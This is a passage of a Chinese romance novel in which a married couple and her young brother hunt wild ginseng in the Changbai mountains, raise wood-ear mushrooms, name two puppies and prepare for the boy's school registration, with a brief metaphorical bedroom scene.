老太太一看便知道是什么东西,“有,你等我给你搓一根。”
单股线太细,戴着怕不结实,老太太手巧,几下就把几股线搓在了一起。
“再搓一根吧。”祁放接过来穿进了狼牙上的孔,出去叫了正在院子里玩的严继刚。
严继刚跑过来,看到眼里明显透出好奇。
“狼牙,给你戴着压惊辟邪的。”祁放说,直接帮他系在了脖子上。
一听说是狼牙,严继刚更好奇了,但还是等姐夫系完才拿起来细看。
祁放回去,老太太已经将另一根红绳也搓完了,他道谢接过,拿着回了屋。
等严雪醒来,平时吃饭的时间早过了,她把毛巾被拉起来盖住脸,自暴自弃又躺了会儿,才神色如常起床。
别问,问就是昨天晚上喝多了,才不是那啥多了。
洗脸的时候,她才发现自己脖子上多了东西,拿起来看了看,问男人:“你给我戴的?”
“嗯,上次那只狼的狼牙,卫国全给咱们了。”
严雪一扫,立马发现严继刚脖子上也有一个,小少年新奇得不得了,隔一会儿就要拿小手摸一摸。
严雪也摸了摸,将东西重新塞回了衣领里。
中午吃饭的时候,二老太太突然说:“继刚在你们那屋睡了也有快俩月了,该回来自己睡了。”
严雪微愣,抬眼发现二老太太说这话时并没有看自己,一下子反应过来,脸上发烫。
祁放面上却是一派镇定,还给她夹了一筷子菜,用问大人一样的语气问严继刚:“晚上不跟姐姐睡,你可以吗?”
分明是在装,全屋就他最希望继刚回去睡好吗?
但男孩子的成长过程中其实是需要男性长辈的,严继刚本来还有些犹豫,有些不舍,被姐夫一问,立马挺胸表示:“我、我可以!”
二老太太也道:“这两次继刚在我这屋睡,都没有做噩梦,我看他已经好得差不多了。”
严继刚一听,更加用力点头,“对,好、好了,不用再、再喝药。”
为了不再喝药,他果断抛弃了那点不舍,当晚就抱着枕头和小被子回了二老太太那屋,态度比姐夫还要坚决。
然后第二天早上,严雪又起晚了。
这回她还在屋里,就听到外面严继刚小声问奶奶:“姐、姐姐昨晚又喝、喝多了吗?”
这让二老太太怎么答,只能含糊其辞道:“可能吧。”
然后她出去洗漱的时候,严继刚特地等在了外面,就为了跟她说一句:“姐姐少喝、喝酒,对、对身体不、不好。”
严雪是又窝心,又不好意思,当晚就给男人发了黄牌,不行她就去对面屋跟严继刚和老太太睡。
于是这次她没起晚,但晚上还没熄灯男人就过来亲她,还垂着桃花眼问她歇过来了没有,她一时没经受住……
严雪很怀疑他是不是还记得当初医院那事,故意在这证明自己身体很好,肾一点都不虚。
他是不虚了,但她快虚了,严雪翻着阳历牌,准备找点事情挽救一下自己岌岌可危的健康。
“继刚,”她叫自己弟弟,“上山挖人参去不去?”
严继刚一听眼睛就亮了,“啥、啥时候?”
“就这几天,我和你姐夫准备准备就能走。不过挖参得在山上住,你怕不怕?”
“不怕。”严继刚回答得十分坚定。
有姐姐姐夫在呢,他怕什么?他也要去挖个能变成大姑娘的大人参!
长白山区把进山挖人参叫放山,一般都选在八月下旬,阴历七月十五前后,主要是人参刚好会在这个时候打种。
平时的人参埋在地下,混在其他草木之间,很难发现,只有在打种的时候头上会顶一簇形似腰果的红果,露出行迹。
正好这几天镇上要培训,林场这边没什么事,木耳又还没有出芽,学校也正在放假。
严雪经验不多,还带上点二老太太做的豆面粑粑,去请教了刘老爷子。
两家关系本来就好,即使什么都不带,她要问,老爷子也肯定知无不言言无不尽。
见她还带了东西来,老爷子干脆将家里的猎/木仓借了他们一把,还给了他们几张狍子皮。
虽说放山和打猎不一样,讲究个人与自然和谐相处,能不伤害生灵尽可能不要伤害生灵。但山上野兽多,关键时刻总得有东西防身。
狍子皮则是在山里过夜,当地人俗称“打小宿儿”时,铺在下面的。
这东西隔潮隔凉,还没有异味,碰上下雨天,不会把周围的蛇招来。
剩下的就是些挖人参的工具、进山要带的干粮……
以前没破四旧的时候,还要带上香烛纸马,焚香烧纸向山神爷祷告,保佑自己这次进山能挖到大货。但现在时代不一样了,搞这些也确实敏感,像刘老爷子这种老放山人都不这么干了。
出发那天,夫妻俩一人背了个背筐,连严继刚身上也挎了个书包。
为了能有所收获,他们这次走得比较远,没选择附近几个山头,窝棚也带了工具准备自己搭。
从小火车道换了山路,又走了好几个小时,他们才找到一个附近有水源又避风的地方落脚。
落脚后第一件事还是搭老爷府敬山神,毕竟入乡随俗,万一他们真什么也没碰到,不是白在山上待了好几天?
三块石头两竖一横搭起来,就是老爷府了。
祁放在老爷府前拢了个土堆,插上三根干草点燃,三个人轮流上前拜山神,尤其是严继刚,小手合十拜得特别认真。
山神爷保佑,老把头保佑,他们一定要挖到个大棒槌卖钱,卖好多好多钱!
拜完小少年才想起一件事,悄悄拉拉姐姐:“老、老把头是谁啊?”
这个严雪当初也好奇过,还上网查了查,“是采参人的开山鼻祖,叫孙良,采参人都尊称一声‘孙良爷’,或者参把头、老把头。”
这位据传是明末清初时期,为给母亲治病进山采参,最终因找不到同伴张禄而饿死在山里的。
当地采参人尊敬他,主要是因为他有情有义,和结为兄弟的同乡张禄一起结伴挖参,却在出山前几天意外和张禄走散。他没有独自离开,而是选择寻找张禄一起出山,最终因为饥饿死在了蝲蛄河畔。
毕竟财帛动人心,以前参帮宁愿单人进山,都绝不两人一起,怕的就是万一挖到啥大家伙,有人起了贪念。
关于这位老把头,还有一首绝命诗在当地和他的家乡山东莱阳流传:
“家住莱阳本姓孙,
漂洋过海来挖参。
路上丢了亲兄弟,
顺着蛄河往上寻。
三天吃了个蝲蝲蛄,
不找到兄弟不甘心。”
严雪当故事讲给严继刚听,听得严继刚肃然起敬,严肃着小脸回去又拜了拜,比上一次还要虔诚。
等窝棚搭好,太阳也基本下山了,几人拿出狍子皮铺在地上,吃了点干粮,就挨靠在一起准备睡觉。
严继刚嘴上说着不怕,但第一次露营,还是这么简陋的露营,天一黑,依旧忍不住往姐姐那里靠了靠。
严雪也不觉得意外,将他搂在怀里,祁放又把她和严继刚一起搂住,还伸手摸了摸严继刚的头。
前后都是熟悉的味道和体温,还有姐姐讲故事,严继刚还是迷迷糊糊睡着了。
第二天早上天刚亮,祁放已经去附近的河流打了水,几人洗漱好吃过早餐,先站在窝棚前开始喊山。
喊山的主要目的是惊走野兽,保证放山人的安全,所以要喊得越大声越好。等喊山结束,才是放山的真正开始。
祁放事先就准备好了放山要用的长棍,采参人也叫“索宝棍”,一人一个拿在手里,边走边用棍子拨开前面的草丛,一寸一寸细细搜寻。
山参之所以稀少,主要是对生长环境要求过高,生长年限又过长。
这种植物喜阴不喜阳,喜干不喜湿,又不能完全没有水分和阳光。所以一般放山,都选在没有经过采伐的针阔叶混交林带,有适宜的光照,不会太多太少,有水源,不会太远太近。
三人行出一段,祁放索宝棍一停,率先喊了声:“棒槌。”
57 棒槌
严继刚这一声喊得特别响亮,甚至都没有结巴,喊完才回头看向姐姐姐夫。
都没等严雪开口,祁放已经接了一句:“几品叶?”手十分镇定地依旧牵着严雪没松。
严继刚光顾着人参去了,也没注意,眼睛亮亮的,“五、五六品吧。”
这到底是五品还是六品?
严雪有些好笑。
而且继刚都没发现,她要是再甩,动作大了反而引人注意,干脆也神色如常问:“有多少?”
这也是接山,发现棒槌的人回得越多越好,哪怕只有一棵,也得说老多老多了。
小少年显然还记得姐姐之前的嘱咐,“可多……可多了。”
说着回头抬起小手要数,想到什么又转回头,视线终于疑惑地落在了姐姐姐夫手上。
“站稳了。”祁放极其自然地把握着严雪的手改成了拉,还淡声说了句,才放开。
严继刚瞬间明白过来,原来是姐姐差点摔倒,姐夫在扶她啊,立马也嘱咐了一句:“小、小心。”
这还真够能稳得住,等严继刚转回去,严雪忍不住在男人胳膊上掐了下。
不过严继刚既然喊棒槌,该看还是要过去看看的。
没想到严继刚说可多了,还真是可多了,两人顺着他的索宝棍望下去,前方草丛间露出的绝对不只一点红缨。
甚至从参种的大小来看,也绝不只是刚刚那种二甲子,小少年激动得脸都红了,还怕被人听到似的,小声问:“咱、咱们是不是要、要发啦?”
都说第一次进山的人运气好,严雪没想到自己三个凑到一起,运气竟然能好成这样。
她弯起眉眼,刚要说什么,脸色又一变,“小心!”
正要上前,祁放比她腿更长更快,已经扯住小少年衣领向后一拉。
严继刚都没反应过来,一只大手已经遮住他视线,下一秒,有什么擦着他刚刚所在的位置垂落而下,是一条足有近碗口粗的大蛇。
大蛇半个身体还缠绕在树上,张开大口,嘶嘶吐着蛇信。
严继刚虽然看不到,但是能听到,小脸瞬间发白,却努力表现出镇定。
“没事,大参附近有野兽正常,吓走就是。”
祁放声音极其冷静,退后几步将他交给了严雪。
严雪也将他搂在怀里,拍拍他的肩,不见丝毫慌乱,“你姐夫带着枪呢,一枪就给吓走了。”
野生动物活在这山林间,比人类更知道什么是好东西,因此大参附近常有野兽守着,等着吃人参结出来的红果子。
相比于其他野兽,蛇通常不会主动攻击人类,甚至体型要不是这么大,用索宝棍就能挑开。
祁放对着天空发了一枪,那大蛇果然重新钻回树上,一阵簌簌后跑不见了。
危机转瞬到来,又转瞬而逝,严继刚被严雪放开的时候,人还有点懵。
他眨眨眼,又眨眨眼,“这就跑了?”
“不跑难道还大战三百回合?这又不是志怪小说里的天材地宝。”
严雪弹了下他额头,那边祁放也“嗯”了声,从容收枪,拿出棒槌锁准备上前抬参。
这让祁放在严继刚心里的形象瞬间高大起来,虽然他本来就挺高的。
小少年忍不住扯扯姐姐的衣袖,压低声,“姐、姐夫好厉害。”
“我们继刚也很厉害啊,一下子就发现了这么多人参。”
严雪笑着摸摸他的头,带着他也走上前。
刚靠近,就听到祁放淡声说:“是有五品叶。”
竟然还真有,严雪看看严继刚,上前拨开附近其他草叶,不多会儿也发现了一棵五品叶。
五品叶在人参里面就算大参了,有拇指粗,重二三两,卖到收购站最少也能卖二百块钱,抵得上她跟祁放两个半月的工资。
“这回得记你首功。”她笑看了小少年一眼,看得小少年眉眼弯弯,赶忙也去旁边拨开一棵。
“这个!”严继刚声音骤然惊喜,“六、六品叶!”
严雪看过去,还真是六片巴掌叶簇着一簇红果子,严继刚之前一点都没说错,的确是五六品。
这下也不用再去其他地方找了,这么大的参抬一棵就要三四个小时,单这三棵,就够他们抬上一天。
而且几人把附近的杂草都清出来,还又发现了一棵五品叶,剩下的则是些三四品,显然都是那棵大参落子长成的。
祁放先把棒槌锁系在了六品叶上,严雪则拿出一根红绳,系住了旁边一棵五品叶,叫严继刚,“去附近找点枯枝过来。”
林深草密,蚊虫自然也多,这一路他们都在用进山时从树上掰下来一种叫老牛肝的菌类点燃了熏蚊虫。
这么大的工程,得在上风处点个火堆,上面盖上蒿子,一来防蚊虫,二来也能驱散野兽。
几人花了一天多时间,才把四棵最大的人参抬完。
那棵六品叶比人的大拇指还粗好几圈,两条腿都拖着长长的根须,粗略一掂最少得有个四两。
三棵五品叶虽然小一点,也有拇指粗细,至于那些三品叶、四品叶,几人只挑着挖了几棵四品叶,剩下的全做上记号,等着过几年再来挖。
人参头顶那些种子,也被几人撒在了附近,这是放山的规矩,总得给后来人留条路。
也因为这些规矩,这片大山才能绵延几百年,始终养育着依它而活的子民们。
前前后后一共在山里待了四天,眼见着天不好,带上山的干粮也吃得差不多了,几人这才回去。
刚进院严继刚就喊了一声:“奶奶。”像只小鸟欢快地跑进去。
喊完却没听到回应,也没在屋里找到人,他不禁又喊了一声,才从后院传来二老太太的声音。
小少年立马又转身往后院跑,“奶奶!奶奶我、我们回来了!”
“哎你慢点,别摔了。”老太太忙接住小孙子,又问:“你姐姐呢?”
严继刚这才注意到院子里还有别人,叫了声:“长、长安哥。”然后回二老太太,“姐、姐姐姐夫在、在后面。”
二老太太就朝前面喊了声,“小雪,你过来看看这木耳是不是要出了?”
严雪和祁放进门放下东西,正洗手,闻言应一声,匆匆擦过就来了后院。
“长安说像是要出了,我也不懂。”二老太太对她说。
严雪点点头,凑到郭长安搬着那根段木前看了看。
菌种接种后二十天,树皮帽就全部揭掉了,此刻钻孔里面已经长满了菌丝,段木表面也出现了小凸起。
“是快要出耳了,立架管理吧。”严雪当机立断。
立架管理,就是用四根长1.5米的木杆在两端做成人字形木架,在中间搭一根长杆,长杆距离地面大约70厘米。段木一端搭在木架上,在两侧人字形排开,倾斜45度左右,方便出耳和后续的采摘。
架子是之前就打好的,当初筛选树头和盖房子时特地留出来的木料,几人进门一口气都没歇,立即又开始给段木立架。
等都弄完,已经又是小半天过去,严雪和祁放这才有时间收拾自己,先去澡堂子洗个澡,再回来吃口热饭。
采回来的蘑菇果然被二老太太用辣椒炒了,大概是自己发现的,严继刚一筷子又一筷子吃得特别欢。
边吃,他还边和老太太讲自己这几天的见闻,虽说还是结巴,但表达欲空前旺盛,大眼睛一直亮亮的。
这对他这种一度恐惧与人交流的孩子十分难得,也是个非常好的转变,二老太太听得认真,不时附和几句,等他说完了,才看向严雪,“学校这几天是不是该报名了?”
一听学校,严继刚小脑袋立即垂下来,拿筷子戳着碗里的饭不吭声了。
但这几天在山上,严雪就和他商量好了,闻言笑道:“是开始报名了,明天我就和继刚过去看看。”
逃避从不是面对困难最正确的选择,直面才是,严继刚不可能永远躲在家里做她的弟弟,奶奶的孙子。
她望向对面的小少年,“你答应姐姐要去试试的,对不对?”
见严继刚没吱声,祁放也看了他一眼,“等你去上学,姐夫给你做个小汽车。”
也不知道是姐姐的鼓励效果更大,还是小汽车的诱惑更大,反正严继刚最后点头了。
就是一直到吃完饭,人还有些蔫蔫的,看得刚进门的黄凤英“哎哟”了一声,“咋的了这是?挨你姐姐训了?”
严继刚先叫了声刘大娘,正要摇头说不是,视线被她怀里的东西吸引,“小狗!”
“这不黑狮下的崽子都满月了,我给你们挑了两只,你们看行不行?”
黄凤英进来把怀里的纸箱子放下,里面挨挨挤挤哼哼唧唧,正是两只刚刚断奶的小狗。
“您怎么亲自给送过来了?”严雪不好意思地笑,“我跟祁放正准备去还枪,顺便接回来呢。”
黄凤英对这些并不在意,“这不是怕留久了老有人惦记吗?你们看这两只行吧?”
箱子里的两只小狗脸宽嘴短,皮毛光滑,身形紧凑,一看就是优秀猎犬的后代。看起来也活泼好动,精力旺盛,长得很是健康。
严雪自然没什么不满意,收下狗,又带上枪,和祁放亲自去刘家道了一趟谢。
回来时严继刚已经和小狗玩上了,小孩子忘性大,显然暂时把要去上学这件事抛到了脑后。
见到姐姐姐夫,他眼睛亮亮,“姐姐,咱、咱们给它们起、起什么名字好?”
严雪也凑过去看了看,“要不就叫健康和长寿?”
话刚落,就被旁边男人看了眼,“长寿和长安、长平太像了。”
祁放淡淡垂眸注视着两只小奶狗,“还不如叫八十九十。”
那以后在家里一叫狗,“八十!”“八十!”她不就得担心自家的房子成了蜂窝煤?
严雪立马否决,“太奇怪了,不知道的还以为咱家养了好几十条狗。”
“要、要不叫祁、祁大宝,严小、小宝?”严继刚皱着小眉头想了半天,建议。
祁放立即发出灵魂一问:“哪个qi?”
当时就把小少年问懵了,“姐、姐夫的祁啊?还能有哪、哪个祁?”
关键当初差点成为他姐夫的另一个人也姓qi来着……
严雪估计男人这是又想起来了,也不理他,问二老太太:“奶奶也给起两个?”
二老太太摇头,“那我可不会,要我起,就是大黑二黑。”
黄凤英送来这两只狗都是黑色的,只一只头上有撮白毛,一只右前爪是白的。
“起、起个威风的。”严继刚显然很在意家里这两名新成员的名号。
严雪就又仔细看了看那两条狗,指着其中头上有白毛那只,“头顶一颗星,威武又霸气,不如就叫大将。”
“这、这个威风!”严继刚眼睛一亮,随即又有点犹豫,“可黄、黄大娘说,它是、是母的。”
“母的就不能当将军了?”严雪立即一挑眉,“严继刚同志,你这个思想很危险啊。领导人可是说了,妇女能顶半边天。”
严继刚一想也是,再一被叫严继刚同志,瞬间严肃起小脸,“大将它就、就叫大将!黑大将!”
至于另一只右前爪是白色的,严雪本来要起带刀侍卫,简称侍卫,严继刚嫌不够威风,叫了大虎。
小孩子哪知道什么叫侍卫,只觉得老虎肯定比侍卫威风。
当晚严继刚把两只狗的狗窝放在了自己那屋,被二老太太催了好几声才肯放下小狗去睡。
另一边,严雪散了头发往炕上一躺,立马感觉这几天在山里的疲累全涌了上来。
祁放见她一动都不想动,捞过她的小腿帮她捏了捏,“肿了。”
刚才洗脚的时候他就注意到了,果然严雪把腿抽回去自己捏,“在山上走了好几天,你腿不肿吗?”
祁放没回答,也没非要坚持,单手撑着被褥看她,“明天去给继刚报名,用不用我?”
“不用了。”严雪说,“去得人太多太兴师动众,他反而容易紧张。”
“那我明天去趟县里,把参卖了。”
听男人提起人参,严雪动作顿了顿,“咱也把那棵六品叶留着吧,万一以后有用。”
祁放自然没有意见,“都行。”又问:“你有没有什么想要的?”
“我哪有什么想要的,你注意安全就行。”严雪还记得上回被人尾随的事,“也不知道上回咱俩去报案,起没起作用。”
这答案让人意外又不是那么让人意外,祁放抬眸看看她,突然伸手把灯拉了。
严雪还没捏完小腿呢,眼前就黑了,不由停了停动作,“你困了?”
“没。”祁放起身靠过来,唇直接贴在了她耳边,“咱们来讲讲女将军和带刀侍卫的故事。”
“不是定了叫大虎吗?”严雪一开始还没反应过来,但很快耳垂便被人吮了一下。
“大虎是大虎,侍卫是侍卫。”男人声音一本正经,唇却又流连到了她唇角。
直到迷乱中察觉到某处蓄势待发,严雪才后知后觉这个带刀侍卫带的是什么刀……
而侍卫在山中苦熬日久,刀既快且坚,既长且韧,招招直击要害而余势不减。女将军初时尚能招架,与其打得有来有回,数回合之后,渐渐感觉到什么叫一寸长一寸强,一寸短一寸险。
但女将军能稳坐将军之位,自然不是泛泛之辈,不仅牙尖嘴利,还擅长缴械之术。
侍卫到底年轻气盛,不防女将军有此一招,顽强抵抗数十回合后缴械投降。
可年轻便代表着不服输,代表着无限的精力与勇气,很快俊侍卫重振旗鼓,提刀再战。女将军终究体力稍逊,显出颓势,被侍卫抓住机会一阵快攻,不甘落败。
战后侍卫收刀入鞘,问将军:“吾与小金川齐公孰壮?”
女将军大赞,“汝健康,汝健壮,汝能活到九十九!汝能睡觉了吗?”
她觉得下次再去号脉的时候,可以建议医生把下火的药再多加点,这副方子显然效果不太好。
第二天早上起来,祁放先照了照镜子,将衣扣再次扣到最上,才出去,跟二老太太说严雪这几天太累了。
正好严继刚也累坏了,还没醒,等他睁眼的时候姐夫已经走了,姐姐正懒洋洋从屋里出来。
“先吃饭,别光顾着跟将军和侍卫玩。”严雪身上还没什么力气,但还是出声提醒弟弟,“今天还得去学校报名。”
严继刚一听,只好收回了逗弄小狗的手,但还是看看姐姐,“是、是大虎。”
严雪滞住。
都怪祁放,她刚才顺嘴就把侍卫说出来了,这让她以后还怎么面对这两只狗?
林场的小学就建在场部那一片,从家里步行过去还用不上十分钟。
因为林场人不多,每年只能招上来一个班级,学校建得也不大,小小的一个操场,几间平房。